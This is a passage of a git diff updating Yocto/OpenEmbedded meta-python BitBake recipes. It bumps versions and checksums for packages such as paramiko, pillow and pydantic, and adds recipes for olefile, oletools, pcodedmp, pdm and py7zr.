-SRC_URI[sha256sum] = "8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba"
-
-DEPENDS += "\
- libsodium \
- python3-cffi-native \
- python3-pip-native \
-"
-
-RDEPENDS:${PN}:class-target += " \
- python3-cffi \
- python3-pycparser \
-"
-
-export SODIUM_INSTALL = "system"
-
-BBCLASSEXTEND = "native" \ No newline at end of file
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb
index ec7747307d..2f94f7a6a5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb
@@ -9,4 +9,6 @@ inherit pypi setuptools3
PYPI_PACKAGE = "ninja_syntax"
UPSTREAM_CHECK_URI = "https://pypi.python.org/pypi/ninja_syntax/"
-UPSTREAM_CHECK_REGEX = "/ninja_syntax/(?P<pver>(\d+[\.\-_]*)+)" \ No newline at end of file
+UPSTREAM_CHECK_REGEX = "/ninja_syntax/(?P<pver>(\d+[\.\-_]*)+)"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-objectpath_0.6.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-objectpath_0.6.1.bb
new file mode 100644
index 0000000000..6e82dc13b9
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-objectpath_0.6.1.bb
@@ -0,0 +1,9 @@
+DESCRIPTION = "The agile NoSQL query language for semi-structured data"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=a53cbc7cb75660694e138ba973c148df"
+
+DEPENDS += "dtc-native"
+
+SRC_URI[sha256sum] = "461263136c79292e42431fbb85cdcaac4c6a256f6b1aa5b3ae9316e4965ad819"
+
+inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-olefile_0.46.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-olefile_0.46.bb
new file mode 100644
index 0000000000..e29f30f6ff
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-olefile_0.46.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Python package to parse, read and write Microsoft OLE2 files"
+HOMEPAGE = "https://github.com/decalage2/olefile"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e21a06208415d5eb2001555d37851362"
+
+SRC_URI[sha256sum] = "133b031eaf8fd2c9399b78b8bc5b8fcbe4c31e85295749bb17a87cba8f3c3964"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "olefile"
+PYPI_PACKAGE_EXT = "zip"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-logging \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-oletools_0.60.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-oletools_0.60.1.bb
new file mode 100644
index 0000000000..fbb7955d6f
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-oletools_0.60.1.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Python tools to analyze security characteristics of MS Office and OLE files"
+HOMEPAGE = "https://github.com/decalage2/olefile"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=d7dd4b0d1f7153322a546e89b5a0a632"
+
+SRC_URI[sha256sum] = "67a796da4c4b8e2feb9a6b2495bef8798a3323a75512de4e5669d9dc9d1fae31"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "oletools"
+PYPI_PACKAGE_EXT = "zip"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pandas_2.0.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pandas_2.0.3.bb
index 87a173c8a2..5e69fea6c1 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pandas_2.0.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pandas_2.0.3.bb
@@ -19,7 +19,7 @@ DEPENDS += " \
PACKAGESPLITFUNCS =+ "fix_cythonized_sources"
fix_cythonized_sources() {
- for f in `grep -l -r -e '\/* Generated by Cython.*/$' ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}`; do
+ for f in `grep -l -r -e '\/* Generated by Cython.*/$' ${PKGD}${TARGET_DBGSRC_DIR}`; do
if [ -e $f ]; then
sed -i -e 's#${RECIPE_SYSROOT_NATIVE}##g' $f
fi
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-paramiko_3.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-paramiko_3.3.1.bb
index 5420a9edc8..da87e5199f 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-paramiko_3.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-paramiko_3.3.1.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/paramiko/paramiko/"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=fd0120fc2e9f841c73ac707a30389af5"
-SRC_URI[sha256sum] = "93cdce625a8a1dc12204439d45033f3261bdb2c201648cfcdc06f9fd0f94ec29"
+SRC_URI[sha256sum] = "6a3777a961ac86dbef375c5f5b8d50014a1a96d0fd7f054a43bc880134b0ff77"
PYPI_PACKAGE = "paramiko"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pastedeploy_3.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pastedeploy_3.1.0.bb
index cb10dd98df..27f32bf1af 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pastedeploy_3.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pastedeploy_3.1.0.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://license.txt;md5=1798f29d55080c60365e6283cb49779c"
inherit pypi
PYPI_PACKAGE = "PasteDeploy"
-SRC_URI[sha256sum] = "5f4b4d5fddd39b8947ea727161e366bf55b90efc60a4d1dd7976b9031d0b4e5f"
+SRC_URI[sha256sum] = "9ddbaf152f8095438a9fe81f82c78a6714b92ae8e066bed418b6a7ff6a095a95"
S = "${WORKDIR}/PasteDeploy-${PV}"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pcodedmp_1.2.6.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pcodedmp_1.2.6.bb
new file mode 100644
index 0000000000..185597dea1
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pcodedmp_1.2.6.bb
@@ -0,0 +1,12 @@
+SUMMARY = "A VBA p-code disassembler"
+HOMEPAGE = "https://github.com/bontchev/pcodedmp"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=84dcc94da3adb52b53ae4fa38fe49e5d"
+
+SRC_URI[sha256sum] = "025f8c809a126f45a082ffa820893e6a8d990d9d7ddb68694b5a9f0a6dbcd955"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE="pcodedmp"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pdm-backend_2.1.7.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pdm-backend_2.1.7.bb
new file mode 100644
index 0000000000..679ecb0d4a
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pdm-backend_2.1.7.bb
@@ -0,0 +1,13 @@
+SUMMARY = "The build backend used by PDM that supports latest packaging standards"
+HOMEPAGE = "https://github.com/pdm-project/pdm-backend"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4a564297b3c5b629a528b92fd8ff61ea"
+
+SRC_URI[sha256sum] = "d3b50ab6374557c1edc348135e0da5decef228ddf8c973a58e40f437cf3595ba"
+
+inherit pypi python_setuptools_build_meta
+
+PYPI_PACKAGE= "pdm_backend"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pdm_2.10.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pdm_2.10.3.bb
new file mode 100644
index 0000000000..54da389273
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pdm_2.10.3.bb
@@ -0,0 +1,15 @@
+SUMMARY = "A modern Python package and dependency manager supporting the latest PEP standards"
+HOMEPAGE = "https://pdm-project.org/latest/"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2eb31a2cc1a758c34b499f287dd04ef2"
+
+SRC_URI[sha256sum] = "46dafc8a4fe268c46479876e52c6967f7a9aa385e1e574e64248670a37b358ff"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += " \
+ ${PYTHON_PN}-pdm-backend-native \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pillow_10.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pillow_10.1.0.bb
index 055b41bfa5..322c90eda5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pillow_10.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pillow_10.1.0.bb
@@ -10,7 +10,7 @@ SRC_URI = "git://github.com/python-pillow/Pillow.git;branch=10.0.x;protocol=http
file://0001-explicitly-set-compile-options.patch \
file://run-ptest \
"
-SRCREV ?= "82541b6dec8452cb612067fcebba1c5a1a2bfdc8"
+SRCREV ?= "da59ad000d1405eaecd557175e29083a87d19f7c"
inherit setuptools3 ptest
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-platformdirs_3.10.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-platformdirs_4.0.0.bb
index 264b06d676..5a33be400e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-platformdirs_3.10.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-platformdirs_4.0.0.bb
@@ -7,7 +7,7 @@ SRC_URI += " \
file://run-ptest \
"
-SRC_URI[sha256sum] = "b45696dab2d7cc691a3226759c0d3b00c47c8b6e293d96f6436f733303f77f6d"
+SRC_URI[sha256sum] = "cb633b2bcf10c51af60beb0ab06d2f1d69064b43abf4c185ca6b28865f3f9731"
inherit pypi python_hatchling ptest
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_1.4.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_1.4.0.bb
deleted file mode 100644
index 486e70c8fd..0000000000
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_1.4.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "A Python implementation of Google's Encoded Polyline Algorithm Format"
-HOMEPAGE = "https://pypi.org/project/polyline/"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=0fbd13500cabd06dd751ba6b2be304c6"
-
-SRC_URI[md5sum] = "b97c57378605c4a856c437569f95a0cb"
-SRC_URI[sha256sum] = "7c7f89d09a09c7b6161bdbfb4fd304b186fc7a2060fa4f31cb3f61c646a5c074"
-
-inherit pypi setuptools3 ptest
-
-RDEPENDS:${PN} += "python3-six"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI += " \
- file://run-ptest \
-"
-
-RDEPENDS:${PN}-ptest += " \
- ${PYTHON_PN}-pytest \
-"
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/test
- cp -rf ${S}/test/* ${D}${PTEST_PATH}/test/
-}
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_2.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_2.0.1.bb
new file mode 100644
index 0000000000..2eae0caf9c
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_2.0.1.bb
@@ -0,0 +1,25 @@
+SUMMARY = "A Python implementation of Google's Encoded Polyline Algorithm Format"
+HOMEPAGE = "https://github.com/frederickjansen/polyline"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1fb8d1dc685695195bb3c1e48adfef48"
+
+SRC_URI[sha256sum] = "74cb5cea098dddf09d1a5a1f17af9184d371cbf3e9723de0194e530ec39ca1f6"
+
+inherit pypi python_setuptools_build_meta ptest
+
+RDEPENDS:${PN} += "python3-six"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/test
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/test/
+}
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-process-tests_2.1.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-process-tests_3.0.0.bb
index eb01504f61..a16497b984 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-process-tests_2.1.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-process-tests_3.0.0.bb
@@ -4,9 +4,9 @@
SUMMARY = "Tools for testing processes."
HOMEPAGE = "https://github.com/ionelmc/python-process-tests"
LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=37031056aff37e4b3310872a9a3d0b1e"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=aea36d49429f53e06868d87cd9d62349"
-SRC_URI[sha256sum] = "a3747ad947bdfc93e5c986bdb17a6d718f3f26e8577a0807a00962f29e26deba"
+SRC_URI[sha256sum] = "e5d57dea7161251e91cadb84bf3ecc85275fb121fd478e579f800777b1d424bd"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-prompt-toolkit_3.0.36.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-prompt-toolkit_3.0.41.bb
index a5299318b3..aa19116e8e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-prompt-toolkit_3.0.36.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-prompt-toolkit_3.0.41.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://python-prompt-toolkit.readthedocs.io/"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b2cde7da89f0c1f3e49bf968d00d554f"
-SRC_URI[sha256sum] = "3e163f254bef5a03b146397d7c1963bd3e2812f0964bb9a24e6ec761fd28db63"
+SRC_URI[sha256sum] = "941367d97fc815548822aa26c2a269fdc4eb21e9ec05fc5d447cf09bad5d75f0"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-protobuf_4.24.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-protobuf_4.24.4.bb
index b78ae6a1b0..4b530c3b1d 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-protobuf_4.24.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-protobuf_4.24.4.bb
@@ -7,7 +7,7 @@ LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=53dbfa56f61b90215a
inherit pypi setuptools3
SRC_URI += "file://0001-message.c-Cast-uintptr_t-types-to-upb_MessageDef.patch"
-SRC_URI[sha256sum] = "12e9ad2ec079b833176d2921be2cb24281fa591f0b119b208b788adc48c2561d"
+SRC_URI[sha256sum] = "5a70731910cd9104762161719c3d883c960151eea077134458503723b60e3667"
# http://errors.yoctoproject.org/Errors/Details/184715/
# Can't find required file: ../src/google/protobuf/descriptor.proto
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo/0001-test_cli.py-disable.patch b/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo/0001-test_cli.py-disable.patch
new file mode 100644
index 0000000000..e4165d2d66
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo/0001-test_cli.py-disable.patch
@@ -0,0 +1,32 @@
+From 620cb80b0bb5ec58fe15592f033487a4e1cd3859 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Thu, 12 Oct 2023 16:46:53 -0400
+Subject: [PATCH] test_cli.py: disable
+
+These tests fail if .../site-packages/cpuinfo/cpuinfo.py isn't
+executable, but setting it so during do_install doesn't seem to work.
+Disable them for now so that the ptests work with the remaining ~150
+successes.
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ tests/test_cli.py | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/tests/test_cli.py b/tests/test_cli.py
+index a6b1985..43c4334 100644
+--- a/tests/test_cli.py
++++ b/tests/test_cli.py
+@@ -6,6 +6,7 @@ import helpers
+
+
+
++@unittest.skip("Disable while permissions issues are figured out")
+ class TestCLI(unittest.TestCase):
+ def setUp(self):
+ helpers.backup_data_source(cpuinfo)
+--
+2.41.0
+
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo_9.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo_9.0.0.bb
index 5fbac03ac0..84172c058e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo_9.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo_9.0.0.bb
@@ -11,8 +11,16 @@ SRC_URI[sha256sum] = "3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3
inherit ptest pypi setuptools3
SRC_URI += "file://run-ptest \
+ file://0001-test_cli.py-disable.patch \
"
+do_install:append() {
+ # Make sure we use /usr/bin/env python3
+ for PYTHSCRIPT in `grep -rIl '^#!.*python' ${D}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env ${PYTHON_PN}|' $PYTHSCRIPT
+ done
+}
+
do_install_ptest() {
install -d ${D}${PTEST_PATH}/tests
cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-py7zr_0.20.8.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-py7zr_0.20.8.bb
new file mode 100644
index 0000000000..f9e6820ce1
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-py7zr_0.20.8.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Pure Python 7-zip library"
+HOMEPAGE = "https://py7zr.readthedocs.io/en/latest/"
+LICENSE = "LGPL-2.1-or-later"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI[sha256sum] = "2a6b0db0441e63a2dd74cbd18f5d9ae7e08dc0e54685aa486361d0db6a0b4f78"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += " \
+ ${PYTHON_PN}-setuptools-scm-native \
+ ${PYTHON_PN}-toml-native \
+ ${PYTHON_PN}-wheel-native \
+"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-pycryptodomex \
+ ${PYTHON_PN}-multivolumefile \
+ ${PYTHON_PN}-pybcj \
+ ${PYTHON_PN}-inflate64 \
+ ${PYTHON_PN}-pyppmd \
+ ${PYTHON_PN}-pyzstd \
+ ${PYTHON_PN}-brotli \
+ ${PYTHON_PN}-multiprocessing \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-threading \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyaudio_0.2.13.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyaudio_0.2.14.bb
index 1f0b5cf6e8..1599ea8347 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyaudio_0.2.13.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyaudio_0.2.14.bb
@@ -5,8 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7c3152b432b96d6dc4a1cb35397da9ec"
PYPI_PACKAGE = "PyAudio"
-SRC_URI[md5sum] = "41199ffd2abbdaf1ce6b88cf8af48cc5"
-SRC_URI[sha256sum] = "26bccc81e4243d1c0ff5487e6b481de6329fcd65c79365c267cef38f363a2b56"
+SRC_URI[sha256sum] = "78dfff3879b4994d1f4fc6485646a57755c6ee3c19647a491f790a0895bd2f87"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pybcj_1.0.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pybcj_1.0.2.bb
new file mode 100644
index 0000000000..34ffb97933
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pybcj_1.0.2.bb
@@ -0,0 +1,24 @@
+SUMMARY = "bcj filter library"
+HOMEPAGE = "https://codeberg.org/miurahr/pybcj"
+LICENSE = "LGPL-2.1-or-later"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI[sha256sum] = "c7f5bef7f47723c53420e377bc64d2553843bee8bcac5f0ad076ab1524780018"
+
+inherit pypi python_setuptools_build_meta pypi
+
+#PROVIDES = "python3-pybcj"
+
+DEPENDS += " \
+ ${PYTHON_PN}-setuptools-scm-native \
+ ${PYTHON_PN}-toml-native \
+ ${PYTHON_PN}-wheel-native \
+"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-compression \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pycares_4.3.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pycares_4.4.0.bb
index f5223913cf..5e5f0c92f5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pycares_4.3.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pycares_4.4.0.bb
@@ -6,7 +6,7 @@ HOMEPAGE = "https://github.com/saghul/pycares"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b1538fcaea82ebf2313ed648b96c69b1"
-SRC_URI[sha256sum] = "c542696f6dac978e9d99192384745a65f80a7d9450501151e4a7563e06010d45"
+SRC_URI[sha256sum] = "f47579d508f2f56eddd16ce72045782ad3b1b3b678098699e2b6a1b30733e1c2"
PYPI_PACKAGE = "pycares"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pycodestyle_2.11.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pycodestyle_2.11.1.bb
index 9a8d1076fc..a282afb466 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pycodestyle_2.11.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pycodestyle_2.11.1.bb
@@ -4,7 +4,7 @@ LICENSE = "MIT"
SECTION = "devel/python"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a8546d0e77f416fb05a26acd89c8b3bd"
-SRC_URI[sha256sum] = "259bcc17857d8a8b3b4a2327324b79e5f020a13c16074670f9c8c8f872ea76d0"
+SRC_URI[sha256sum] = "41ba0e7afc9752dfb53ced5489e89f8186be00e599e712660695b7a75ff2663f"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pydantic_2.4.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pydantic_2.5.1.bb
index 6d06650eb0..609411fe14 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pydantic_2.4.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pydantic_2.5.1.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=09280955509d1c4ca14bae02f21d49a6"
inherit pypi python_hatchling
-SRC_URI[sha256sum] = "b172505886028e4356868d617d2d1a776d7af1625d1313450fd51bdd19d9d61f"
+SRC_URI[sha256sum] = "0b8be5413c06aadfbe56f6dc1d45c9ed25fd43264414c571135c97dd77c2bedb"
DEPENDS += "python3-hatch-fancy-pypi-readme-native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyhamcrest_2.0.4.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyhamcrest_2.1.0.bb
index 4ee84531e1..bfa4e0a699 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyhamcrest_2.0.4.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyhamcrest_2.1.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/hamcrest/PyHamcrest"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=79391bf1501c898472d043f36e960612"
-SRC_URI[sha256sum] = "b5d9ce6b977696286cf232ce2adf8969b4d0b045975b0936ac9005e84e67e9c1"
+SRC_URI[sha256sum] = "c6acbec0923d0cb7e72c22af1926f3e7c97b8e8d69fc7498eabacaf7c975bd9c"
inherit pypi python_setuptools_build_meta
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyjwt_2.7.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyjwt_2.8.0.bb
index 3aa9b479a5..92a8f44c6b 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyjwt_2.7.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyjwt_2.8.0.bb
@@ -5,7 +5,7 @@ HOMEPAGE = "http://github.com/jpadilla/pyjwt"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e4b56d2c9973d8cf54655555be06e551"
-SRC_URI[sha256sum] = "bd6ca4a3c4285c1a2d4349e5a035fdf8fb94e04ccd0fcbe6ba289dae9cc3e074"
+SRC_URI[sha256sum] = "57e28d156e3d5c10088e0c68abb90bfac3df82b40a71bd0daa20c65ccd5c23de"
PYPI_PACKAGE = "PyJWT"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pylint_3.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pylint_3.0.2.bb
index 413e6599db..8af74b7cba 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pylint_3.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pylint_3.0.2.bb
@@ -3,11 +3,10 @@ HOMEPAGE= "http://www.pylint.org/"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c107cf754550e65755c42985a5d4e9c9"
-SRC_URI += " \
- git://github.com/pylint-dev/pylint;branch=main;protocol=https \
- file://run-ptest \
- "
-SRCREV ?= "4a7ad5ea9f1c5a98ccf736578a00554be0da6dc7"
+SRC_URI += "git://github.com/pylint-dev/pylint;branch=maintenance/3.0.x;protocol=https \
+ file://run-ptest \
+ "
+SRCREV = "efee9618894795cc8847727108522aa79431ee25"
inherit python_setuptools_build_meta ptest
@@ -48,3 +47,5 @@ do_install_ptest() {
install -Dm 0644 ${S}/tests/.pylint_primer_tests/.gitkeep ${D}${PTEST_PATH}/tests/.pylint_primer_tests/.gitkeep
sed -i 's#/usr/bin/python$#/usr/bin/python3#g' ${D}${PTEST_PATH}/tests/data/ascript
}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymemcache_4.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymemcache_4.0.0.bb
new file mode 100644
index 0000000000..2a09e96949
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymemcache_4.0.0.bb
@@ -0,0 +1,22 @@
+DESCRIPTION = "A comprehensive, fast, pure Python memcached client"
+HOMEPAGE = "https://github.com/pinterest/pymemcache"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+PYPI_PACKAGE = "pymemcache"
+
+SRC_URI[sha256sum] = "27bf9bd1bbc1e20f83633208620d56de50f14185055e49504f4f5e94e94aff94"
+
+inherit pypi setuptools3
+
+DEPENDS += " \
+ ${PYTHON_PN}-setuptools-scm-native \
+ ${PYTHON_PN}-six-native \
+"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-logging \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymetno_0.11.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymetno_0.12.0.bb
index d66c4c2ce3..ae686871e8 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymetno_0.11.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymetno_0.12.0.bb
@@ -4,7 +4,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=5d503272f52c35147ec960cb56a03bf4"
SRC_URI = "git://github.com/Danielhiversen/pyMetno.git;protocol=https;branch=master"
-SRCREV = "d7a6161c7765bff19a276b29a6a689a59b03a63c"
+SRCREV = "50f427aad264a4793abb94a3c8cbf987fadcd4ae"
S = "${WORKDIR}/git"
inherit setuptools3
